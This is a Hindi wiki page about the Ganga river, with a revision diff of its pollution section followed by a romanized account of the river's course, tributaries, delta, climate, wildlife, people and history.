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== प्रदूषण एवं पर्यावरण ==  
 
== प्रदूषण एवं पर्यावरण ==  
 
गंगा नदी विश्व भर में अपनी शुद्धीकरण क्षमता के कारण जानी जाती है। लंबे समय से प्रचलित इसकी शुद्धीकरण की मान्यता का वैज्ञानिक आधार भी है। वैज्ञानिक मानते हैं कि इस नदी के जल में [[बैक्टीरियोफेज]] नामक [[विषाणु]] होते हैं, जो [[जीवाणु]]ओं व अन्य हानिकारक सूक्ष्मजीवों को जीवित नहीं रहने देते हैं। नदी के जल में प्राणवायु ([[ऑक्सीजन]]) की मात्रा को बनाए रखने की असाधारण क्षमता है। किंतु इसका कारण अभी तक अज्ञात है। [[चित्र:Ganga-River-Varanasi.jpg|thumb|250px|left|गंगा नदी, वाराणसी<br /> Ganga River, Varanasi]] एक राष्ट्रीय सार्वजनिक रेडियो कार्यक्रम के अनुसार इस कारण [[हैजा]] और [[पेचिश]] जैसी बीमारियाँ होने का खतरा बहुत ही कम हो जाता है, जिससे महामारियाँ होने की संभावना बड़े स्तर पर टल जाती है।<ref>बैक्टीरियोफेज का स्व-शुद्धिकरण प्रभाव, ऑक्सीजन रिटेन्शन रहस्य: [http://www.npr.org/templates/story/story.php?storyId=17134270 मिस्ट्री फ़ैक्टर गिव्स गैन्जेस ए क्लीन रेप्युटेशन] जूलियन क्रैन्डा-2 हॉल्लिक. नेशनल पब्लिक रेडियो। </ref> लेकिन गंगा के तट पर घने बसे औद्योगिक नगरों के नालों की गंदगी सीधे गंगा नदी में मिलने से गंगा का प्रदूषण पिछले कई सालों से भारत सरकार और जनता की चिंता का विषय बना हुआ है। औद्योगिक कचरे के साथ-साथ प्लास्टिक कचरे की बहुतायत ने गंगा जल को भी बेहद प्रदूषित किया है। वैज्ञानिक जांच के अनुसार गंगा का बायोलाजिकल ऑक्सीजन स्तर 3 डिग्री (सामान्य) से बढ़कर 6 डिग्री हो चुका है। गंगा में 2 करोड़ 90 लाख लीटर प्रदूषित कचरा प्रतिदिन गिर रहा है। विश्व बैंक रिपोर्ट के अनुसार उत्तर-प्रदेश की 12 प्रतिशत बीमारियों की वजह प्रदूषित गंगा जल है। यह घोर चिन्तनीय है कि गंगा-जल न स्नान के योग्य रहा, न पीने के योग्य रहा और न ही सिंचाई के योग्य। गंगा के पराभव का अर्थ होगा, हमारी समूची सभ्यता का अन्त।<ref>{{cite web |url= http://www.patrika.com/article.aspx?id=10912|title=खतरे में गंगा का अस्तित्व|accessmonthday=[[22 जून]]| accessyear=[[2009]]|format=एएसपीएक्स| publisher=पत्रिका|language=}}</ref> गंगा में बढ़ते प्रदूषण पर नियंत्रण पाने के लिए घड़ियालों की मदद ली जा रही है।<ref>{{cite web |url= http://navbharattimes.indiatimes.com/articleshow/4126070.cms|title=गंगा को प्रदूषण से बचाएंगे 71 घड़ियाल
 
गंगा नदी विश्व भर में अपनी शुद्धीकरण क्षमता के कारण जानी जाती है। लंबे समय से प्रचलित इसकी शुद्धीकरण की मान्यता का वैज्ञानिक आधार भी है। वैज्ञानिक मानते हैं कि इस नदी के जल में [[बैक्टीरियोफेज]] नामक [[विषाणु]] होते हैं, जो [[जीवाणु]]ओं व अन्य हानिकारक सूक्ष्मजीवों को जीवित नहीं रहने देते हैं। नदी के जल में प्राणवायु ([[ऑक्सीजन]]) की मात्रा को बनाए रखने की असाधारण क्षमता है। किंतु इसका कारण अभी तक अज्ञात है। [[चित्र:Ganga-River-Varanasi.jpg|thumb|250px|left|गंगा नदी, वाराणसी<br /> Ganga River, Varanasi]] एक राष्ट्रीय सार्वजनिक रेडियो कार्यक्रम के अनुसार इस कारण [[हैजा]] और [[पेचिश]] जैसी बीमारियाँ होने का खतरा बहुत ही कम हो जाता है, जिससे महामारियाँ होने की संभावना बड़े स्तर पर टल जाती है।<ref>बैक्टीरियोफेज का स्व-शुद्धिकरण प्रभाव, ऑक्सीजन रिटेन्शन रहस्य: [http://www.npr.org/templates/story/story.php?storyId=17134270 मिस्ट्री फ़ैक्टर गिव्स गैन्जेस ए क्लीन रेप्युटेशन] जूलियन क्रैन्डा-2 हॉल्लिक. नेशनल पब्लिक रेडियो। </ref> लेकिन गंगा के तट पर घने बसे औद्योगिक नगरों के नालों की गंदगी सीधे गंगा नदी में मिलने से गंगा का प्रदूषण पिछले कई सालों से भारत सरकार और जनता की चिंता का विषय बना हुआ है। औद्योगिक कचरे के साथ-साथ प्लास्टिक कचरे की बहुतायत ने गंगा जल को भी बेहद प्रदूषित किया है। वैज्ञानिक जांच के अनुसार गंगा का बायोलाजिकल ऑक्सीजन स्तर 3 डिग्री (सामान्य) से बढ़कर 6 डिग्री हो चुका है। गंगा में 2 करोड़ 90 लाख लीटर प्रदूषित कचरा प्रतिदिन गिर रहा है। विश्व बैंक रिपोर्ट के अनुसार उत्तर-प्रदेश की 12 प्रतिशत बीमारियों की वजह प्रदूषित गंगा जल है। यह घोर चिन्तनीय है कि गंगा-जल न स्नान के योग्य रहा, न पीने के योग्य रहा और न ही सिंचाई के योग्य। गंगा के पराभव का अर्थ होगा, हमारी समूची सभ्यता का अन्त।<ref>{{cite web |url= http://www.patrika.com/article.aspx?id=10912|title=खतरे में गंगा का अस्तित्व|accessmonthday=[[22 जून]]| accessyear=[[2009]]|format=एएसपीएक्स| publisher=पत्रिका|language=}}</ref> गंगा में बढ़ते प्रदूषण पर नियंत्रण पाने के लिए घड़ियालों की मदद ली जा रही है।<ref>{{cite web |url= http://navbharattimes.indiatimes.com/articleshow/4126070.cms|title=गंगा को प्रदूषण से बचाएंगे 71 घड़ियाल
−
|accessmonthday=[[22 जून]]|accessyear=[[2009]]|format=|publisher=नवभारत टाइम्स|language=}}</ref> शहर की गंदगी को साफ करने के लिए संयंत्रों को लगाया जा रहा है और उद्योगों के कचरों को इसमें गिरने से रोकने के लिए क़ानून बने हैं। इसी क्रम में गंगा को राष्ट्रीय धरोहर भी घोषित कर दिया गया है और गंगा एक्शन प्लान व राष्ट्रीय नदी संरक्षण योजना लागू की गई हैं। हांलांकि इसकी सफलता पर प्रश्नचिह्न भी लगाए जाते रहे हैं।<ref>{{cite web |url=http://www.lokmanch.com/cms/index.php/culture/4089-ganga-pollution-state-government-responsible|title=अब गंगा प्रदूषण मामला राज्य सरकार जिम्मेवार |accessmonthday=[[22 जून]]| accessyear=[[2009]]|format=|publisher=लोकमंच|language=}}</ref> जनता भी इस विषय में जागृत हुई है। इसके साथ ही धार्मिक भावनाएँ आहत न हों इसके भी प्रयत्न किए जा रहे हैं।<ref>{{cite web |url=http://josh18.in.com/hindi/-moneylife/319321/0|title=अब मूर्ति विसर्जन से नहीं होगी गंगा मैली |accessmonthday=[[22 जून]]| accessyear=[[2009]]|format=|publisher=जोश|language=}}</ref> इतना सबकुछ होने के बावजूद गंगा के अस्तित्व पर संकट के बादल छाए हुए हैं। 2007 की एक [[संयुक्त राष्ट्र]] रिपोर्ट के अनुसार हिमालय पर स्थित गंगा की जलापूर्ति करने वाले हिमनद की 2030 तक समाप्त होने की संभावना है। इसके बाद नदी का बहाव मानसून पर आश्रित होकर मौसमी ही रह जाएगा। <ref> [http://www.boston.com/news/world/asia/articles/2007/06/24/global_warming_threatens_to_dry_up_ganges/ बोस्टन.कॉम पर] देखें- [[वैश्विक ऊष्मीकरण]] का उ.प्र. की गंगा पर प्रभाव।</ref>
+
|accessmonthday=[[22 जून]]|accessyear=[[2009]]|format=|publisher=नवभारत टाइम्स|language=}}</ref> शहर की गंदगी को साफ करने के लिए संयंत्रों को लगाया जा रहा है और उद्योगों के कचरों को इसमें गिरने से रोकने के लिए क़ानून बने हैं। इसी क्रम में गंगा को राष्ट्रीय धरोहर भी घोषित कर दिया गया है और गंगा एक्शन प्लान व राष्ट्रीय नदी संरक्षण योजना लागू की गई हैं। हांलांकि इसकी सफलता पर प्रश्नचिह्न भी लगाए जाते रहे हैं।<ref>{{cite web |url=http://www.lokmanch.com/cms/index.php/culture/4089-ganga-pollution-state-government-responsible|title=अब गंगा प्रदूषण मामला राज्य सरकार जिम्मेवार |accessmonthday=[[22 जून]]| accessyear=[[2009]]|format=|publisher=लोकमंच|language=}}</ref> जनता भी इस विषय में जागृत हुई है। इसके साथ ही धार्मिक भावनाएँ आहत न हों इसके भी प्रयत्न किए जा रहे हैं।<ref>{{cite web |url=http://josh18.in.com/hindi/-moneylife/319321/0|title=अब मूर्ति विसर्जन से नहीं होगी गंगा मैली |accessmonthday=[[22 जून]]| accessyear=[[2009]]|format=|publisher=जोश|language=}}</ref> इतना सबकुछ होने के बावजूद गंगा के अस्तित्व पर संकट के बादल छाए हुए हैं। 2007 की एक [[संयुक्त राष्ट्र]] रिपोर्ट के अनुसार हिमालय पर स्थित गंगा की जलापूर्ति करने वाले हिमनद की 2030 तक समाप्त होने की संभावना है। इसके बाद नदी का बहाव मानसून पर आश्रित होकर मौसमी ही रह जाएगा। <ref> [http://www.boston.com/news/world/asia/articles/2007/06/24/global_warming_threatens_to_dry_up_ganges/ बोस्टन.कॉम पर] देखें- वैश्विक ऊष्मीकरण का [[उत्तर प्रदेश]] की गंगा पर प्रभाव।</ref>
  
 
==धार्मिक महत्त्व==
 
==धार्मिक महत्त्व==

Revision as of 12:48, 17 May 2011

[[chitr:Haridwar.jpg|300px|thumb|ganga nadi, haridvar
Ganga River, Haridwar]] bharat ki sabase mahattvapoorn nadi ganga, uttar bharat ke maidanoan ki vishal nadi hai. ganga bharat aur baangladesh mean milakar 2,510 kilomitar ki doori tay karati huee uttaraanchal mean himalay se nikalakar bangal ki kha di mean bharat ke lagabhag ek-chauthaee bhookshetr ko apavahit karati hai tatha apane besin mean base virat janasamuday ke jivan ka adhar banati hai. jis ganga ke maidan se hokar yah pravahit hoti hai, vah is kshetr ka hriday sthal hai, jise hindustan kahate haian. yahaan tisari sadi mean ashok mahan ke samrajy se lekar 16vian sadi mean sthapit mugal samrajy tak sari sabhyataean vikasit hueean. ganga nadi apana adhikaansh safar bharatiy ilaqe mean hi tay karati hai, lekin usake vishal delta kshetr ka adhikaansh hissa baangladesh mean hai. ganga ke pravah ki samanyat: disha uttar-pashchimottar se dakshin-poorv ki taraph hai aur delta kshetr mean pravah amataur se dakshin mukhi hai.

bharatiy bhashaoan mean tatha adhikrit roop se ganga nadi ko aantarrashtriy star par isake aangrezikrit nam ‘d gaijiz’ se hi jana jata hai. ganga sahasrabdiyoan se hinduoan ki pavitr tatha poojaniy nadi rahi hai. apane adhikaansh marg mean ganga ek chau di v mand dhara hai aur vishv ke sabase zyada upajaoo aur ghani abadi vale ilaqoan se hokar bahati hai. itane mahatv ke bavazood isaki lambaee 2,510 kilomitar hai, jo eshiya ya vishv star ki tulana mean koee bahut zyada nahian hai.

ganga ki dhara, jo paha doan mean mandakini aur alakananda ki dharaoan ke sammilan se banati hai, himalay mean atyant kshin hai aur haridvar ke oopar kanakhal ke samip uttari maidan mean prashast hokar bahati hai aur barasat mean usake jal ka veg bhayavah ho uthata hai. ganga nadi desh ki prakritik sanpada hi nahian, jan jan ki bhavanatmak astha ka adhar bhi hai. 2,071 kilomitar tak bharat tatha usake bad baangladesh mean apani lanbi yatra karate hue yah sahayak nadiyoan ke sath das lakh varg kilomitar kshetraphal ke ati vishal upajaoo maidan ki rachana karati hai. samajik, sahityik, saanskritik aur arthik drishti se atyant mahattvapoorn ganga ka yah maidan apani ghani janasankhya ke karan bhi jana jata hai. 100 phit (31 mitar) ki adhikatam gaharaee vali yah nadi bharat mean pavitr mani jati hai tatha isaki upasana maan aur devi ke roop mean ki jati hai. apane sauandary aur mahattv ke karan ek or jahaan puran aur sahity mean isaka ullekh bar bar milata hai, vahian videshi sahity mean bhi ganga nadi ke prati prashansa aur bhavukatapoorn varnanoan ki kami nahian.

bharat ki vishal nadi ganga mean machhaliyoan tatha sarpoan ki anek prajatiyaan to paee hi jati haian aur mithe pani vale durlabh dalaphin bhi pae jate haian. yah krishi, paryatan, sahasik kheloan tatha udyogoan ke vikas mean mahattvapoorn yogadan deti hai tatha apane tat par base shaharoan ki jalapoorti bhi karati hai. isake tat par vikasit dharmik sthal aur tirth bharatiy samajik vyavastha ke vishesh aang haian. isake oopar bane pul, baandh aur nadi pariyojanaean bharat ki bijali, pani aur krishi se sanbandhit zarooratoan ko poora karati haian. vaijnanik manate haian ki is nadi ke jal mean baiktiriyophej namak vishanu hote haian, jo jivanuoan v any hanikarak sookshmajivoan ko jivit nahian rahane dete haian. ganga ki is asimit shuddhikaran kshamata aur samajik shraddha ke bavajood isaka pradooshan roka nahian ja saka hai. phir bhi isake prayatn jari haian aur safaee ki anek pariyojanaoan ke kram mean navanbar, 2008 mean bharat sarakar dvara ise bharat ki rashtriy nadi[1][2] tatha ilahabad aur haldiya ke bich (1600 kilomitar) ganga nadi jalamarg- ko rashtriy jalamarg ghoshit kiya hai.[3]

patitapavani

bharat ki pavan nadi, jisaki jaladhara mean snan se papamukti aur jalapan se shuddhi hoti hai. yah prasiddh nadi, himachal pradesh mean gangotri se nikalakar madhyadesh se hoti huee pashchim bangal ke pare gangasagar mean milati hai. ganga ki ghati sansar ki urvaratam ghatiyoan mean se ek hai aur sarayoo, yamuna, son adi anek nadiyaan usase a milati haian. usaki ghati bharatiy sabhyata ke vikas mean anyatam rahi haian. ganga ko bharatiy sanskriti mean vishisht yogadan ke karan hi use asadharan mahima mili hai, jisase vah ‘patitapavani’ kahalati hai.

rrigved ke nadisookt mean ganga ki stuti huee hai aur puranoan ne usaki mahima ka anant bakhan kiya hai. ganga ki dhara, jo paha doan mean mandakini aur alakananda ki dharaoan ke sammilan se banati hai, himalay mean atyant kshin hai aur haridvar ke oopar kanakhal ke samip uttari maidan mean prashast hokar bahati hai aur barasat mean usake jal ka veg bhayavah ho uthata hai.

bhautik visheshataean

bhoo-akriti

ganga ka udgam dakshini himalay mean tibbat sima ke bharatiy hisse se hota hai. isaki paanch arambhik dharaoan bhagirathi, alakananda, mandakini, dhauliganga tatha piandar ka udgam uttarakhand kshetr, jo uttar pradesh ka ek sanbhag tha (vartaman uttaraanchal rajy) mean hota hai. do pramukh dharaoan mean b di alakananda ka udgam himalay ke nanda devi shikhar se 48 kilomitar door tatha doosari bhagirathi ka udgam himalay ki gangotri namak himanad ke roop mean 3, 050 mitar ki ooanchaee par barf ki gufa mean hota hai. gangotri hinduoan ka ek tirth sthan hai. vaise gangotri se 21 kilomitar dakshin-poorv sthit gomukh ko ganga ka vastavik udgam sthal mana jata hai.

ganga nadi ki pradhan shakha bhagirathi hai jo kumayooan mean himalay ke gomukh namak sthan par gangotri himanad se nikalati hai.[4] ganga ke is udgam sthal ki ooanchaee 3140 mitar hai. yahaan ganga ji ko samarpit ek mandir bhi hai. gangotri tirth, shahar se 19 kilomitar uttar ki or 3892 mitar (12,770 phit) ki ooanchaee par is himanad ka mukh hai. yah himanad 25 kilomitar lanba v 4 kilomitar chau da aur lagabhag 40 mitar ooancha hai. isi gleshiyar se bhagirathi ek chhote se gufanuma mukh par avatarit hoti hai. [[chitr:Gaumukh-Gangotri-Glacier.jpg|thumb|250px|left|gangotri himanad mean gaumukh
Gomukh in Gangotri Himnad]] isaka jal srot 5000 mitar ooanchaee par sthit ek besin hai. is besin ka mool pashchimi dhalan ki santopanth ki chotiyoan mean hai. gaumukh ke raste mean 3600 mitar ooanche chirabasa gram se vishal gomukh himanad ke darshan hote haian. is himanad mean nanda devi parvat, kamat parvat evan trishool parvat ka him pighal kar ata hai. alakananda nadi ki sahayak nadi dhauli, vishnu ganga tatha mandakini hai. dhauli ganga ka alakananda se vishnu prayag mean sangam hota hai. yah 1372 mitar ki ooanchaee par sthit hai. phir 2805 mitar ooanche nand prayag mean alakananda ka nandakini nadi se sangam hota hai. isake bad karn prayag mean alakananda ka karn ganga ya piandar nadi se sangam hota hai. phir rrishikesh se 139 kilomitar door sthit rudr prayag mean alakananda mandakini se milati hai. isake bad bhagirathi v alakananda 1500 phit par sthit dev prayag mean sangam karati haian yahaan se yah sammilit jal-dhara ganga nadi ke nam se age pravahit hoti hai. in paanch prayagoan ko sammilit roop se panch prayag kaha jata hai.[4] is prakar 200 ki.mi. ka sankara paha di rasta tay karake ganga nadi rrishikesh hote hue pratham bar maidanoan ka sparsh haridvar mean karati hai.

dev prayag mean alakananda aur bhagirathi ka sangam hone ke bad yah ganga ke roop mean dakshin himalay se rrishikesh ke nikat bahar ati hai aur haridvar ke bad maidani ilakoan mean pravesh karati hai. haridvar bhi hinduoan ka tirth sthan hai. nadi ke pravah mean mausam ke anusar ane vale tho de bahut parivartan ke bavazood isake jal ki matra mean ullekhaniy vriddhi tab hoti hai, jab isamean any sahayak nadiyaan milati haian tatha yah adhik varsha vale ilaqe mean pravesh karati hai. ek taraph aprॅl se joon ke bich himalay mean pighalane vali barf se isaka poshan hota hai, vahian doosari or julaee se sitambar ke bich ka manasoon isamean ane vali badhoan ka karan banata hai. uttar pradesh rajy mean isake dahine tat ki sahayak nadiyaan, yamuna rajadhani dilli hote hue ilahabad mean ganga mean shamil hoti hai tatha tons nadi hai, jo madhy pradesh ke viandhyachal se nikalakar uttar ki taraf pravahit hoti hai aur shighr hi ganga mean shamil ho jati haian. uttar pradesh mean baeean taraf ki sahayak nadiyaan ramaganga, gomati tatha ghaghara haian.

isake bad ganga bihar rajy mean pravesh karati hai, jahaan isaki mukhy sahayak nadiyaan himalay kshetr ki taraf se gandak, boodhi gandak, kosi tatha ghughari haian. dakshin ki taraf se isaki mukhy sahayak nadi son hai. yahaan se yah nadi rajamahal paha diyoan ka chakkar lagati huee dakshin-poorv mean pharakka tak pahuanchati hai, jo is delta ka sarvochch bindu hai. yahaan se ganga bharat mean antim rajy pashchim bangal mean pravesh karati hai, jahaan uttar ki taraf se isamean mahananda milati hai (samooche pashchim bangal aur baangladesh mean sthaniy abadi ganga ko padma kahakar pukarati hai). ganga ke delta ki sudoor pashchimi shakha hugali hai, jisake tat par mahanagar kolakata (bhootapoorv kalakatta) basa hua hai. svayan hugali mean pashchim se akar usaki do sahayak nadiyaan damodar v roopanarayan shamil hoti haian. baangladesh mean gvalando ghat ke nikat ganga mean vishal brahmaputr shamil hoti hai (in donoan ke sangam ke 241 kilomitar pahale tak ise phir yamuna ke nam se bulaya jata hai). ganga aur brahmaputr ki sanyukt dhara hi padma kahalane lagati hai aur chaandapur ke nikat vah meghana mean shamil ho jati hai. isake bad yah virat jalarashi anek pravahoan mean vibhajit hokar bangal ki kha di mean sama jati hai. baangladesh ki rajadhani dhaka dhaleshvadi nadi ki sahayak nadi boodhi ganga ke tat par sthit hai. jin nadi shakhaoan se ganga ka delta banata hai, usaki hugali aur meghana ke alava any shakhaean pashchim bangal mean jalaangi aur baangladesh mean mataganga, bhairab, kabadak, garaee-madhumati tatha ariyal khan haian.

  • delta kshetr mean sthit ganga ki sabhi sahayak nadiyaan aur shakhaean mausam mean parivartanoan ke karan aksar apana rasta badal leti haian. ye parivartan idhar, visheshakar 1750 ee. ke bad se zyada hone lage haian. brahmaputr 1785 ee. tak maimanasianh shahar ke pas se bahati thi, ab yah vahaan se 64 kilomitar pashchim mean ganga mean milati hai.
  • ganga tatha brahmaputr ki nadi ghatiyoan se bahakar aee huee gad se bane delta ka kshetraphal 60,000 varg kilomitar hai tatha usaka nirman mitti, ret tatha kh diya ki kramik paratoan se hua hai. yahaan par s di-gali vanaspati (pit) lignait (bhoore koyale) ki paratean bhi un ilaqoan mean milati haian, jahaan pahale ghane van hua karate the. delta mean naharoan ke asapas bad mean prakritik roop se bahut-sa khadar bhi jama hua hai.
  • ganga delta ki dakshini satah ka nirman tez gati se tatha tulanatmak roop se hal mean bahakar aee gad ki bhari matra se hua hai. poorab mean samudr ki taraf isi gad ke karan b di tezi se ne-ne bhookshetr (nadi dvip) banate ja rahe haian, jinhean ‘char’ kahate haian. vaise delta ka pashchimi samudri tat 18vian sadi ke bad se lagabhag aparivartit hai.
  • pashchim bangal ki nadiyoan ka pravah bahut dhima hai aur unase kafi kam pani samudr mean pravahit hota hai. baangladeshi delta kshetr mean nadiyaan chau di tatha gatiman haian aur unamean pani vipul matra mean bahata hai. ye nadiyaan anek sankari paha diyoan se paraspar ju di huee haian.
  • varsha rritu (joon se aktoobar) mean is ilaqe mean kritrim roop se nirmit uchchabhoomi par basae ge gaanv kee fit pani mean doob jate haian. is mausam mean in bastiyoan ke bich avagaman ka ekamatr sadhan naukaean hi hoti haian.
  • samooche delta kshetr ka samudratatiy ilaqa daladali hai. yah poora kshetr sundaravan kahalata hai aur bharat v baangladesh, donoan ne ise sanrakshit kshetr ghoshit kar rakha hai.
  • is delta ke kuchh hissoan mean jangali vanaspatiyoan tatha dhan se nirmit pit ki paratean haian. anek prakritik khaiyoan (biloan) mean us pit ke banane ki kriya jari hai. jisaka upayog sthaniy kisan khad, sukhakar ghareloo tatha audyogik eedhan ke roop mean karate haian.

jalavayu

ganga ke besin mean is upamahadvip ki vishalatam nadi pranali sthit hai. yahaan jal ki apoorti mukhyat: julaee se aktoobar ke bich dakshin-pashchimi manasoon tatha aprॅl se joon ke bich grishm rritu ke dauran pighalane vali himalay ki barf se hoti hai. nadi ke besin mean manasoon ke un katibandhiy toofanoan se bhi varsha hoti hai, jo joon se aktoobar ke bich bangal ki kha di mean paida hote haian. disambar aur janavari mean bahut kam matra mean varsha hoti hai. ausat varshik varsha besin ke pashchimi sire mean 760 milimitar se lekar poorvi sire par 2,286 milimitar ke bich hoti hai (uttar pradesh mean ganga ke oopari kachhar mean jahaan ausat varsha 762 se 1,016 milimitar hoti hai, vahian bihar ke madhyavarti maidan mean yah ausat 1,016 se 1,524 milimitar tatha delta kshetr mean 1,524 se 2,540 milimitar ke bich hai). delta kshetr mean manasoon ke prarambh (march se mee) tatha manasoon ke ant (sitambar se aktoobar) mean zoradar chakravati samudri toofan ate haian. inase kafi b di matra mean manav jivan, sampatti, fasaloan tatha pashuoan ka nuqasan hota hai. aisa hi ek bhishan vinashakari toofan navambar, 1970 mean aya tha, jisamean kam se kam do lakh aur adhik se adhik paanch lakh logoan ki maut huee thi.

chooanki ganga ke maidan mean utar-chadhav lagabhag n ke barabar hai, at: nadi pravah ki gati dhimi hai. dilli mean yamuna nadi se lekar bangal ki kha di ke 1,609 kilomitar ke sampoorn fasale mean bhootal ki ooanchaee mean matr 213 mitar ki kami ati hai. ganga-brahmaputr ke maidan ka kul vistar 7,77,000 varg kilomitar hai. is maidan mean mitti ki satah, jo kahian-kahian 1,829 mitar se bhi zyada hai, sambhavat: 10 hazar varsh se adhik purani nahian hai.

vanaspati

ganga-yamuna ke ilaqe mean kabhi ghane jangal hua karate the. aitihasik granthoan se pata chalata hai ki 16vian aur 17vian sadi tak yahaan jangali hathi, gaur, barahasianga, gaianda, bagh tatha sher ka shikar hota tha. ganga ke sampoorn besin se vahaan ki mool prakritik vanaspatiyaan lupt ho gee haian aur vahaan ab lagatar badhati abadi ka pet bharane ke lie vyapak roop mean kheti ki jati hai. hiran, jangali sooar, jangali billiyaan tatha kuchh bhe die, bhaloo, siyar aur lom di ko chho dakar jangali janavar bahut kam haian. delta ke sundaravan ilaqe mean bangal taigar (sher), magaramachchh tatha daladali hiran ab bhi mil jate haian. nadiyoan mean, khasataur se delta kshetr mean machhaliyaan vipul matra mean paee jati haian aur sthaniy nivasiyoan ke bhojan ka mahatvapoorn hissa hai. yahaan par maina, tota, kaua, chil, titar aur murgabi jaise pakshiyoan ki bhi kee qismean paee jati haian. ja de ke mausam mean battakh aur chaha pakshi ooanche himalay ko par karake dakshin mean pani se ghire kshetroan ki taraf pravas karate haian. bangal ke ilaqe mean amataur se paee jane vali machhaliyoan mean fedar baik (notopteridi), v aaukiang kaitafish, gorami (enabaiantidi) tatha milkafish (chainidi), barb (siprainidi) adi pramukh haian.

janajivan

ganga ke besin ke nivasi nrijatiy roop se mishrit mool ke haian. pashchim aur madhy besin mean ve moolat: ary poorvajoan ki santan the. bad mean turk, mangol, afagani, farasi tatha arab log pashchim se ay aur aantamishrit ho ge. poorab aur dakshin, khasataur se bangal ke ilaqe mean tibbati, barmi tatha vividh nasl ke paha di log bhi milate haian. inase bhi bad mean ane vale yooropiy log yahaan n to base aur n hi sthaniy logoan ke sath vivah sambandh banaye.

ganga ka maidan

[[chitr:Garwhal-Gangotri-Waterfall.jpg|thumb|180px|gangotri jharana, gadhaval
Gangotri Waterfall, Garhwal]] ganga, ilahabad (prayag) haridvar se lagabhag 800 kilomitar maidani yatra karate hue gadhamukteshvar,soroan, farrukhabad, kannauj, bithoor, kanapur hote hue pahuanchati hai. yahaan isaka sangam yamuna nadi se hota hai. yah sangam sthal hinduoan ka ek mahattvapoorn tirth hai. ise tirtharaj prayag kaha jata hai. isake bad hindoo dharm ki pramukh mokshadayini nagari kashi (varanasi) mean ganga ek vakr leti hai, jisase yah yahaan uttaravahini kahalati hai. yahaan se mirzapur, patana, bhagalapur hote hue pakur pahuanchati hai. is bich isamean bahut-si sahayak nadiyaan, jaise son, gandak, ghaghara, kosi adi mil jati haian. bhagalapur mean rajamahal ki paha diyoan se yah dakshinavarti hoti hai. pashchim bangal ke murshidabad zile ke giriya sthan ke pas ganga nadi do shakhaoan mean vibhajit ho jati hai-bhagirathi aur padma. bhagirathi nadi giriya se dakshin ki or bahane lagati hai jabaki padma nadi dakshin-poorv ki or bahati pharakka bairaj (1974 nirmit) se chhanate huee bangala desh mean pravesh karati hai. yahaan se ganga ka deltaee bhag shuroo ho jata hai. murshidabad shahar se hugali shahar tak ganga ka nam bhagirathi nadi tatha hugali shahar se muhane tak ganga ka nam hugali nadi hai. ganga ka yah maidan moolat: ek bhoo-abhinati gart hai jisaka nirman mukhy roop se himalay parvatamala nirman prakriya ke tisare charan mean lagabhag 6-4 karo d varsh pahale hua tha. tab se ise himalay aur prayadvip se nikalane vali nadiyaan apane sath lae hue avasadoan se pat rahi haian. in maidanoan mean jalodh ki ausat gaharaee 1000 se 2000 mitar hai. is maidan mean nadi ki praudhavastha mean banane vali aparadani aur nikshepan sthalakॄtiyaan, jaise- baloo-rodhaka, visarp, gokhur jhilean aur guanphit nadiyaan paee jati haian.[5]

ganga ke maidan mean anek nagar base, jinamean mukhy roop se roo daki, saharanapur, merath, agara (mashahoor maqabare tajamahal ka shahar), mathura (bhagavan shrikrishna ki janmasthali ke roop mean poojaniy), aligadh, kanapur, bareli, lakhanoo, ilahabad, varanasi (pavitr shahar banaras), patana, bhagalapur, rajashahi, murshidabad, bardavan (varddhaman), kalakatta, hav da, dhaka, khulana aur barisal ullekhaniy haian. delta kshetr mean kalakatta aur usake upanagar hugali ke donoan kinaroan par lagabhag 80 kilomitar kshetr mean phaile haian v bharat ke janasankhya, vyapar tatha udyog ko drishti se sabase ghane base hue ilaqoan mean gine jate haian.

aitihasik roop se ganga ke maidan se hi hindustan ka hriday sthal nirmit hai aur vahi bad mean ane vali vibhinn sabhyataoan ka palana bana. ashok ke ee. poo. ke samrajy ka kendr pataliputr (patana), bihar mean ganga ke tat par basa hua tha. mahan mugal samrajy ke kendr dilli aur agara bhi ganga ke besin ki pashchimi simaoan par sthit the. satavian sadi ke madhy mean kanapur ke uttar mean ganga tat par sthit kannauj, jisamean adhikaansh uttari bharat ata tha, harsh ke samantakalin samrajy ka kendr tha. muslim kal ke dauran, yani 12vian sadi se musalamanoan ka shasan n keval maidan, balki bangal tak phaila hua tha. delta kshetr ke dhaka aur murshidabad muslim satta ke kendr the. aangrezoan ne 17vian sadi ke uttararddh mean hugali ke tat par kalakatta (vartaman kolakata) ki sthapana karane ke bad dhire-dhire apane pair ganga ki ghati mean phailae aur 19vian sadi ke madhy mean dilli tak ja pahuanche.

ganga ki is ghati mean ek aisi sabhyata ka udbhav aur vikas hua jisaka prachin itihas atyant gauravamayi aur vaibhavashali hai. jahaan jnan, dharm, adhyatm v sabhyata-sanskriti ki aisi kiran prasphutit huee jisase n keval bharat balki samast sansar alokit hua. pashan ya prastar yug ka janm aur vikas yahaan hone ke anek sakshy mile haian. isi ghati mean ramayan aur mahabharat kalin yug ka udbhav aur vilay hua. shatapath brahman, panchaviansh brahman, gopath brahman, aitarey aranyak, kaushitaki aranyak, saankhyayan aranyak, vajasaneyi sanhita aur mahabharat ityadi mean varnit ghatanaoan se uttar vaidikakalin ganga ghati ki janakari milati hai. prachin magadh mahajanapad ka udbhav ganga ghati mean hi hua jahaan se ganarajyoan ki paranpara vishv mean pahali bar praranbh huee. yahian bharat ka vah svarn yug vikasit hua jab maury aur gupt vanshiy rajaoan ne yahaan shasan kiya.

suandaravan delta

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hugali nadi kolakata, hav da hote hue suandaravan ke bharatiy bhag mean sagar se sangam karati hai. padma mean brahmaputr se nikali shakha nadi jamuna nadi evan meghana nadi milati haian. aantatah ye 350 kilomitar chau de suandaravan delta mean jakar bangal ki kha di mean sagar-sangam karati hai. yah delta ganga evan usaki sahayak nadiyoan dvara laee gee navin jalodh se 1,000 varshoan mean nirmit samatal evan nimn maidan hai. yahaan ganga aur bangal ki kha di ke sangam par ek prasiddh hindoo tirth hai jise ganga-sagar-sangam kahate haian.[6] vishv ka sabase b da delta (suandaravan) bahut si prasiddh vanaspatiyoan aur prasiddh bangal taeegar ka nivas sthan hai.[6] [[chitr:Haridwar1.jpg|250px|thumb|left|ganga nadi, haridvar
